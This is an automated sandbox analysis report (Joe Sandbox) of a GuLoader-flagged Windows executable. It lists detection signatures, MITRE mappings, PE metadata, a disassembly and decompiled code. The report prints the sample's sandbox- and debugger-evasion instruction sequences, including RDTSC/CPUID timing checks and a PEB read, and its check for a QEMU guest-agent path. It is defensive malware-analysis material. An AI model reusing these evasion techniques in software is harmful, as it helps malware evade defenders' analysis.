Loading ...

Play interactive tourEdit tour

Analysis Report file

Overview

General Information

Sample Name:file (renamed file extension from none to exe)
Analysis ID:342365
MD5:555c401b38d724743846b628ae639c85
SHA1:855f8dd61e8382e9f7d193428b6b02385add2db8
SHA256:31665a69dca33ae199f7f8149e0ca8d992c6e402e01bfc4e7eeaab46a40d33f0
Tags:exeGuLoader

Most interesting Screenshot:

Detection

GuLoader
Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected GuLoader
Contains functionality to detect hardware virtualization (CPUID execution measurement)
Found potential dummy code loops (likely to delay analysis)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Yara detected VB6 Downloader Generic
Abnormal high CPU Usage
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to read the PEB
Creates a DirectInput object (often for capturing keystrokes)
Detected potential crypto function
PE file contains strange resources
Program does not show much activity (idle)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Startup

  • System is w10x64
  • file.exe (PID: 5932 cmdline: 'C:\Users\user\Desktop\file.exe' MD5: 555C401B38D724743846B628AE639C85)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
Process Memory Space: file.exe PID: 5932JoeSecurity_VB6DownloaderGenericYara detected VB6 Downloader GenericJoe Security
    Process Memory Space: file.exe PID: 5932JoeSecurity_GuLoaderYara detected GuLoaderJoe Security

      Sigma Overview

      No Sigma rule has matched

      Signature Overview

      Click to jump to signature section

      Show All Signature Results

      AV Detection:

      barindex
      Multi AV Scanner detection for submitted fileShow sources
      Source: file.exeVirustotal: Detection: 44%Perma Link

      Compliance:

      barindex
      Uses 32bit PE filesShow sources
      Source: file.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
      Source: file.exe, 00000000.00000002.1348689124.00000000006E8000.00000004.00000020.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>
      Source: C:\Users\user\Desktop\file.exeProcess Stats: CPU usage > 98%
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00645C420_2_00645C42
      Source: file.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
      Source: file.exe, 00000000.00000002.1348578831.0000000000600000.00000002.00000001.sdmpBinary or memory string: OriginalFilenameuser32j% vs file.exe
      Source: file.exe, 00000000.00000002.1349866018.00000000028C0000.00000004.00000001.sdmpBinary or memory string: OriginalFilenamesmittende.exeFE2X vs file.exe
      Source: file.exe, 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmpBinary or memory string: OriginalFilenamesmittende.exe vs file.exe
      Source: file.exeBinary or memory string: OriginalFilenamesmittende.exe vs file.exe
      Source: file.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
      Source: classification engineClassification label: mal76.troj.evad.winEXE@1/0@0/0
      Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\~DFC7949FBBDA9531CE.TMPJump to behavior
      Source: file.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
      Source: C:\Users\user\Desktop\file.exeSection loaded: C:\Windows\SysWOW64\msvbvm60.dllJump to behavior
      Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: file.exeVirustotal: Detection: 44%

      Data Obfuscation:

      barindex
      Yara detected GuLoaderShow sources
      Source: Yara matchFile source: Process Memory Space: file.exe PID: 5932, type: MEMORY
      Yara detected VB6 Downloader GenericShow sources
      Source: Yara matchFile source: Process Memory Space: file.exe PID: 5932, type: MEMORY
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040A045 push ebp; retf 0_2_0040A046
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040A055 push ebp; retf 0_2_0040A056
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040980A push cs; ret 0_2_00409810
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00408896 push ebp; retf 0_2_004088AA
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040A0B9 push ebp; retf 0_2_0040A0BA
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00403980 pushad ; ret 0_2_00403981
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004089A0 push ss; retf 0_2_004089A6
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004079B7 push edx; iretd 0_2_004079E1
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040A2EC push edx; iretd 0_2_0040A31A
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00409288 push edi; retf 0_2_00409298
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040A349 push ebp; retf 0_2_0040A34A
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00409332 push edi; retf 0_2_00409340
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040A3C4 push esi; retf 0_2_0040A3C6
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00409B91 push cs; ret 0_2_00409BA0
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00408C4D push ebp; retf 0_2_00408C4E
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040A528 push cs; retf 0_2_0040A52A
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006465B3 push eax; ret 0_2_006465B4
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00644759 pushfd ; retf 0_2_006447FD
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0064471C pushfd ; retf 0_2_006447FD
      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

      Malware Analysis System Evasion:

      barindex
      Contains functionality to detect hardware virtualization (CPUID execution measurement)Show sources
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00641364 0_2_00641364
      Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)Show sources
      Source: file.exeBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
      Tries to detect virtualization through RDTSC time measurementsShow sources
      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 00000000006430D5 second address: 00000000006430D5 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b mov ecx, 00001000h 0x00000010 div ecx 0x00000012 test eax, ecx 0x00000014 cmp edx, 00000000h 0x00000017 jne 00007FC1E0914B20h 0x00000019 dec ebx 0x0000001a xor edx, edx 0x0000001c mov eax, ebx 0x0000001e pushad 0x0000001f lfence 0x00000022 rdtsc
      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 0000000000645D26 second address: 0000000000645D26 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007FC1E0DCEFB8h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d test bx, dx 0x00000020 cmp bl, dl 0x00000022 add edi, edx 0x00000024 test dl, al 0x00000026 dec dword ptr [ebp+000000F8h] 0x0000002c cmp dword ptr [ebp+000000F8h], 00000000h 0x00000033 jne 00007FC1E0DCEF5Fh 0x00000035 test bx, cx 0x00000038 test cx, dx 0x0000003b call 00007FC1E0DCEFE4h 0x00000040 call 00007FC1E0DCEFC8h 0x00000045 lfence 0x00000048 mov edx, dword ptr [7FFE0014h] 0x0000004e lfence 0x00000051 ret 0x00000052 mov esi, edx 0x00000054 pushad 0x00000055 rdtsc
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00642812 rdtsc 0_2_00642812
      Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
      Source: file.exeBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

      Anti Debugging:

      barindex
      Found potential dummy code loops (likely to delay analysis)Show sources
      Source: C:\Users\user\Desktop\file.exeProcess Stats: CPU usage > 90% for more than 60s
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00642812 rdtsc 0_2_00642812
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00643066 mov eax, dword ptr fs:[00000030h]0_2_00643066
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00643079 mov eax, dword ptr fs:[00000030h]0_2_00643079
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00645413 mov eax, dword ptr fs:[00000030h]0_2_00645413
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006420B5 mov eax, dword ptr fs:[00000030h]0_2_006420B5
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0064599D mov eax, dword ptr fs:[00000030h]0_2_0064599D
      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00641B81 mov eax, dword ptr fs:[00000030h]0_2_00641B81
      Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
      Source: file.exe, 00000000.00000002.1348748260.0000000000D70000.00000002.00000001.sdmpBinary or memory string: Program Manager
      Source: file.exe, 00000000.00000002.1348748260.0000000000D70000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
      Source: file.exe, 00000000.00000002.1348748260.0000000000D70000.00000002.00000001.sdmpBinary or memory string: Progman
      Source: file.exe, 00000000.00000002.1348748260.0000000000D70000.00000002.00000001.sdmpBinary or memory string: Progmanlock

      Mitre Att&ck Matrix

      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid AccountsWindows Management InstrumentationPath InterceptionProcess Injection1Virtualization/Sandbox Evasion11Input Capture1Security Software Discovery411Remote ServicesInput Capture1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
      Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsProcess Injection1LSASS MemoryVirtualization/Sandbox Evasion11Remote Desktop ProtocolArchive Collected Data1Exfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or Information1Security Account ManagerProcess Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDSSystem Information Discovery21Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.

      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      file.exe45%VirustotalBrowse

      Dropped Files

      No Antivirus matches

      Unpacked PE Files

      No Antivirus matches

      Domains

      No Antivirus matches

      URLs

      No Antivirus matches

      Domains and IPs

      Contacted Domains

      No contacted domains info

      Contacted IPs

      No contacted IP infos

      General Information

      Joe Sandbox Version:31.0.0 Red Diamond
      Analysis ID:342365
      Start date:20.01.2021
      Start time:21:46:02
      Joe Sandbox Product:CloudBasic
      Overall analysis duration:0h 11m 42s
      Hypervisor based Inspection enabled:false
      Report type:full
      Sample file name:file (renamed file extension from none to exe)
      Cookbook file name:default.jbs
      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
      Number of analysed new started processes analysed:23
      Number of new started drivers analysed:0
      Number of existing processes analysed:0
      Number of existing drivers analysed:0
      Number of injected processes analysed:0
      Technologies:
      • HCA enabled
      • EGA enabled
      • HDC enabled
      • AMSI enabled
      Analysis Mode:default
      Analysis stop reason:Timeout
      Detection:MAL
      Classification:mal76.troj.evad.winEXE@1/0@0/0
      EGA Information:Failed
      HDC Information:
      • Successful, ratio: 1.9% (good quality ratio 1.5%)
      • Quality average: 44.2%
      • Quality standard deviation: 23.8%
      HCA Information:Failed
      Cookbook Comments:
      • Adjust boot time
      • Enable AMSI
      • Override analysis time to 240s for sample files taking high CPU consumption
      Warnings:
      Show All
      • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, WMIADAP.exe, MusNotifyIcon.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe, UsoClient.exe

      Simulations

      Behavior and APIs

      No simulations

      Joe Sandbox View / Context

      IPs

      No context

      Domains

      No context

      ASN

      No context

      JA3 Fingerprints

      No context

      Dropped Files

      No context

      Created / dropped Files

      No created / dropped files found

      Static File Info

      General

      File type:PE32 executable (GUI) Intel 80386, for MS Windows
      Entropy (8bit):6.2851500595470675
      TrID:
      • Win32 Executable (generic) a (10002005/4) 99.15%
      • Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81%
      • Generic Win/DOS Executable (2004/3) 0.02%
      • DOS Executable Generic (2002/1) 0.02%
      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
      File name:file.exe
      File size:98304
      MD5:555c401b38d724743846b628ae639c85
      SHA1:855f8dd61e8382e9f7d193428b6b02385add2db8
      SHA256:31665a69dca33ae199f7f8149e0ca8d992c6e402e01bfc4e7eeaab46a40d33f0
      SHA512:74eb8c976cc7603bc116061532204725c528c246a2e238179e4b56dca4b78ed7ec63036af647948a9cbe40ecafb55d170077fbd063ba2f40852d79c08695efda
      SSDEEP:1536:9bl3eW2DoTqKcZHlI1Vr0kfFXNF2FRGhv24eAvwjaxwnZDiJI11b:b3eDrb2VokfdNwnGhe4eEwjainQJub
      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L.../j.`.................P...0...............`....@................

      File Icon

      Icon Hash:6eeed0e4a4a4e0d2

      Static PE Info

      General

      Entrypoint:0x401394
      Entrypoint Section:.text
      Digitally signed:false
      Imagebase:0x400000
      Subsystem:windows gui
      Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
      DLL Characteristics:
      Time Stamp:0x60076A2F [Tue Jan 19 23:24:31 2021 UTC]
      TLS Callbacks:
      CLR (.Net) Version:
      OS Version Major:4
      OS Version Minor:0
      File Version Major:4
      File Version Minor:0
      Subsystem Version Major:4
      Subsystem Version Minor:0
      Import Hash:1e586cf04261bd749b013218f1926344

      Entrypoint Preview

      Instruction
      push 00401BD4h
      call 00007FC1E0B7FA25h
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      xor byte ptr [eax], al
      add byte ptr [eax], al
      inc eax
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [ebx+372DEBD5h], bl
      lodsd
      std
      dec eax
      stosb
      mov word ptr [esp+edi*4+73BA6D2Bh], gs
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add dword ptr [eax], eax
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      dec eax
      popad
      outsb
      imul esp, dword ptr fs:[ebp+72h], 63h
      push 73666569h
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add bh, bh
      int3
      xor dword ptr [eax], eax
      or bl, byte ptr [ebx+25h]
      mov seg?, word ptr [eax]
      cmp dword ptr [ecx], edi
      dec eax
      lodsd
      xor ebp, dword ptr [edi+7Ch]
      pushad
      mov edx, E57B810Bh
      call 00007FC2135EAE1Ch
      dec eax
      cdq
      sbb al, 6Fh
      sbb dword ptr [ebp+3A7F1F51h], 4Fh
      lodsd
      xor ebx, dword ptr [ecx-48EE309Ah]
      or al, 00h
      stosb
      add byte ptr [eax-2Dh], ah
      xchg eax, ebx
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      mov word ptr [edi], es
      add byte ptr [eax], al
      rol byte ptr [07000000h], 1
      add byte ptr [edi+6Fh], al
      insb
      imul esp, dword ptr [ecx+72h], 010D0064h
      or byte ptr [eax], al
      push ebx
      push 00000065h
      jc 00007FC1E0B7FAA0h
      aaa

      Data Directories

      NameVirtual AddressVirtual Size Is in Section
      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
      IMAGE_DIRECTORY_ENTRY_IMPORT0x15b340x28.text
      IMAGE_DIRECTORY_ENTRY_RESOURCE0x180000x894.rsrc
      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
      IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x2280x20
      IMAGE_DIRECTORY_ENTRY_IAT0x10000xfc.text
      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

      Sections

      NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
      .text0x10000x14fac0x15000False0.407400948661data6.70352521815IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
      .data0x160000x119c0x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
      .rsrc0x180000x8940x1000False0.330810546875data3.02789868498IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

      Resources

      NameRVASizeTypeLanguageCountry
      RT_ICON0x1832c0x568GLS_BINARY_LSB_FIRST
      RT_GROUP_ICON0x183180x14data
      RT_VERSION0x180f00x228dataEnglishUnited States

      Imports

      DLLImport
      MSVBVM60.DLL_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaHresultCheckObj, __vbaLenBstrB, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, __vbaOnError, _adj_fdiv_m16i, _adj_fdivr_m16i, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, __vbaCastObjVar, _adj_fpatan, __vbaLateIdCallLd, EVENT_SINK_Release, __vbaUI1I2, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaVarDup, __vbaVarLateMemCallLd, _CIatan, __vbaStrMove, _allmul, _CItan, _CIexp, __vbaFreeStr, __vbaFreeObj

      Version Infos

      DescriptionData
      Translation0x0409 0x04b0
      InternalNamesmittende
      FileVersion1.00
      CompanyNameColossus Corp.
      ProductNameslikpindens
      ProductVersion1.00
      OriginalFilenamesmittende.exe

      Possible Origin

      Language of compilation systemCountry where language is spokenMap
      EnglishUnited States

      Network Behavior

      No network behavior found

      Code Manipulations

      Statistics

      CPU Usage

      Click to jump to process

      Memory Usage

      Click to jump to process

      System Behavior

      General

      Start time:21:46:49
      Start date:20/01/2021
      Path:C:\Users\user\Desktop\file.exe
      Wow64 process (32bit):true
      Commandline:'C:\Users\user\Desktop\file.exe'
      Imagebase:0x400000
      File size:98304 bytes
      MD5 hash:555C401B38D724743846B628AE639C85
      Has elevated privileges:true
      Has administrator privileges:true
      Programmed in:Visual Basic
      Reputation:low

      Disassembly

      Code Analysis

      Reset < >

        Executed Functions

        C-Code - Quality: 56%
        			E0040F754(signed int _a4) {
        				signed int _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				long long _v32;
        				short _v36;
        				intOrPtr _v44;
        				long long _v52;
        				void* _v68;
        				char _v72;
        				char _v76;
        				signed int _v80;
        				char _v84;
        				signed int _v88;
        				signed int _v92;
        				signed int _v96;
        				char _v100;
        				char _v104;
        				char _v112;
        				char _v120;
        				intOrPtr _v128;
        				char _v136;
        				intOrPtr _v144;
        				char _v152;
        				intOrPtr _v160;
        				char _v168;
        				char* _v176;
        				char _v184;
        				intOrPtr _v192;
        				intOrPtr _v200;
        				char* _v208;
        				intOrPtr _v216;
        				intOrPtr _v224;
        				char _v232;
        				char _v236;
        				char _v240;
        				char _v244;
        				char _v248;
        				char _v252;
        				char _v256;
        				char _v260;
        				char _v264;
        				intOrPtr _v268;
        				char _v272;
        				long long _v280;
        				signed int _v284;
        				signed int _v288;
        				intOrPtr* _v292;
        				signed int _v296;
        				signed int _v300;
        				signed int _v304;
        				signed int _v308;
        				signed int _v312;
        				char _v324;
        				signed int _v328;
        				signed int _v332;
        				signed int _v336;
        				signed int _v340;
        				signed int _v344;
        				signed int _v348;
        				signed int _v352;
        				intOrPtr* _v356;
        				signed int _v360;
        				intOrPtr* _v364;
        				signed int _v368;
        				intOrPtr* _v372;
        				signed int _v376;
        				char _v380;
        				signed int _v384;
        				intOrPtr* _v388;
        				signed int _v392;
        				intOrPtr* _v396;
        				signed int _v400;
        				signed int _v404;
        				intOrPtr* _v408;
        				signed int _v412;
        				intOrPtr* _v416;
        				signed int _v420;
        				intOrPtr* _v424;
        				signed int _v428;
        				intOrPtr* _v432;
        				signed int _v436;
        				intOrPtr* _v440;
        				signed int _v444;
        				intOrPtr* _v448;
        				signed int _v452;
        				intOrPtr* _v456;
        				signed int _v460;
        				intOrPtr* _v464;
        				signed int _v468;
        				signed int _v472;
        				intOrPtr* _v476;
        				signed int _v480;
        				intOrPtr* _v484;
        				signed int _v488;
        				intOrPtr* _v492;
        				signed int _v496;
        				intOrPtr* _v500;
        				signed int _v504;
        				intOrPtr* _v508;
        				signed int _v512;
        				intOrPtr* _v516;
        				signed int _v520;
        				intOrPtr* _v524;
        				signed int _v528;
        				intOrPtr* _v532;
        				signed int _v536;
        				signed int _v540;
        				intOrPtr* _v544;
        				signed int _v548;
        				intOrPtr* _v552;
        				signed int _v556;
        				intOrPtr* _v560;
        				signed int _v564;
        				intOrPtr* _v568;
        				signed int _v572;
        				intOrPtr* _v576;
        				signed int _v580;
        				intOrPtr* _v584;
        				signed int _v588;
        				intOrPtr* _v592;
        				signed int _v596;
        				intOrPtr* _v600;
        				signed int _v604;
        				signed int _v608;
        				signed int _v612;
        				signed int _t922;
        				signed int _t930;
        				signed int _t934;
        				signed int* _t938;
        				signed int _t942;
        				signed int _t956;
        				signed int _t960;
        				signed int _t964;
        				signed int* _t968;
        				signed int _t972;
        				signed int _t986;
        				signed int _t990;
        				signed int _t1008;
        				signed int _t1012;
        				signed int _t1020;
        				signed int _t1024;
        				signed int* _t1028;
        				signed int _t1032;
        				signed int _t1050;
        				signed int _t1054;
        				signed int* _t1058;
        				signed int _t1062;
        				signed int _t1072;
        				signed int _t1080;
        				signed int _t1084;
        				signed int _t1092;
        				signed int _t1096;
        				signed int* _t1100;
        				signed int _t1104;
        				signed int _t1108;
        				signed int _t1112;
        				signed int _t1116;
        				signed int _t1120;
        				char* _t1122;
        				signed int _t1147;
        				signed int _t1151;
        				signed int* _t1156;
        				signed int _t1160;
        				signed int _t1164;
        				signed int _t1168;
        				char* _t1170;
        				signed int _t1175;
        				signed int _t1186;
        				signed int _t1190;
        				signed int _t1202;
        				signed int _t1206;
        				signed int* _t1211;
        				signed int _t1215;
        				signed int _t1219;
        				signed int _t1223;
        				signed int _t1227;
        				signed int _t1231;
        				char* _t1235;
        				signed int _t1259;
        				signed int _t1263;
        				signed int* _t1267;
        				signed int _t1271;
        				signed int _t1275;
        				signed int _t1279;
        				signed int _t1291;
        				signed int _t1299;
        				signed int _t1303;
        				signed int _t1307;
        				signed int* _t1311;
        				signed int _t1315;
        				signed int _t1319;
        				signed int _t1323;
        				signed int _t1338;
        				void* _t1343;
        				signed int* _t1353;
        				intOrPtr _t1361;
        				signed int* _t1367;
        				signed int* _t1372;
        				intOrPtr _t1397;
        				intOrPtr _t1410;
        				char* _t1420;
        				void* _t1469;
        				void* _t1481;
        				intOrPtr _t1493;
        				void* _t1494;
        				void* _t1495;
        				void* _t1496;
        				void* _t1498;
        				void* _t1501;
        				long long* _t1502;
        
        				 *[fs:0x0] = _t1493;
        				L00401220();
        				_v16 = _t1493;
        				_v12 = 0x401140;
        				_v8 = _a4 & 0x00000001;
        				_a4 = _a4 & 0xfffffffe;
        				_t922 =  *((intOrPtr*)( *_a4 + 4))(_a4, _t1469, _t1481, _t1343,  *[fs:0x0], 0x401226);
        				_push(0x402b68);
        				L0040136A();
        				L00401370();
        				_push(_t922);
        				_push(0x402b74);
        				L00401376();
        				asm("sbb eax, eax");
        				_v284 =  ~( ~( ~_t922));
        				L00401364();
        				if(_v284 != 0) {
        					if( *0x416010 != 0) {
        						_v356 = 0x416010;
        					} else {
        						_push("@'o");
        						_push(0x402110);
        						L00401358();
        						_v356 = 0x416010;
        					}
        					_t1303 =  &_v84;
        					L0040135E();
        					_v284 = _t1303;
        					_t1307 =  *((intOrPtr*)( *_v284 + 0x158))(_v284,  &_v80, _t1303,  *((intOrPtr*)( *((intOrPtr*)( *_v356)) + 0x314))( *_v356));
        					asm("fclex");
        					_v288 = _t1307;
        					if(_v288 >= 0) {
        						_v360 = _v360 & 0x00000000;
        					} else {
        						_push(0x158);
        						_push(0x402b78);
        						_push(_v284);
        						_push(_v288);
        						L00401352();
        						_v360 = _t1307;
        					}
        					if( *0x416010 != 0) {
        						_v364 = 0x416010;
        					} else {
        						_push("@'o");
        						_push(0x402110);
        						L00401358();
        						_v364 = 0x416010;
        					}
        					_t1311 =  &_v88;
        					L0040135E();
        					_v292 = _t1311;
        					_t1315 =  *((intOrPtr*)( *_v292 + 0x58))(_v292,  &_v248, _t1311,  *((intOrPtr*)( *((intOrPtr*)( *_v364)) + 0x310))( *_v364));
        					asm("fclex");
        					_v296 = _t1315;
        					if(_v296 >= 0) {
        						_v368 = _v368 & 0x00000000;
        					} else {
        						_push(0x58);
        						_push(0x402b78);
        						_push(_v292);
        						_push(_v296);
        						L00401352();
        						_v368 = _t1315;
        					}
        					if( *0x416010 != 0) {
        						_v372 = 0x416010;
        					} else {
        						_push("@'o");
        						_push(0x402110);
        						L00401358();
        						_v372 = 0x416010;
        					}
        					_t1319 =  &_v92;
        					L0040135E();
        					_v300 = _t1319;
        					_t1323 =  *((intOrPtr*)( *_v300 + 0x60))(_v300,  &_v252, _t1319,  *((intOrPtr*)( *((intOrPtr*)( *_v372)) + 0x308))( *_v372));
        					asm("fclex");
        					_v304 = _t1323;
        					if(_v304 >= 0) {
        						_v376 = _v376 & 0x00000000;
        					} else {
        						_push(0x60);
        						_push(0x402b88);
        						_push(_v300);
        						_push(_v304);
        						L00401352();
        						_v376 = _t1323;
        					}
        					if( *0x41633c != 0) {
        						_v380 = 0x41633c;
        					} else {
        						_push(0x41633c);
        						_push(0x402bb8);
        						L00401358();
        						_v380 = 0x41633c;
        					}
        					_t70 =  &_v380; // 0x41633c
        					_v308 =  *((intOrPtr*)( *_t70));
        					_v224 = 0x2d833a;
        					_v232 = 3;
        					_v208 = _v252;
        					_v216 = 3;
        					_v192 = 0x18;
        					_v200 = 2;
        					_v176 = _v248;
        					_v184 = 3;
        					_v324 = _v80;
        					_v80 = _v80 & 0x00000000;
        					_v112 = _v324;
        					_v120 = 8;
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
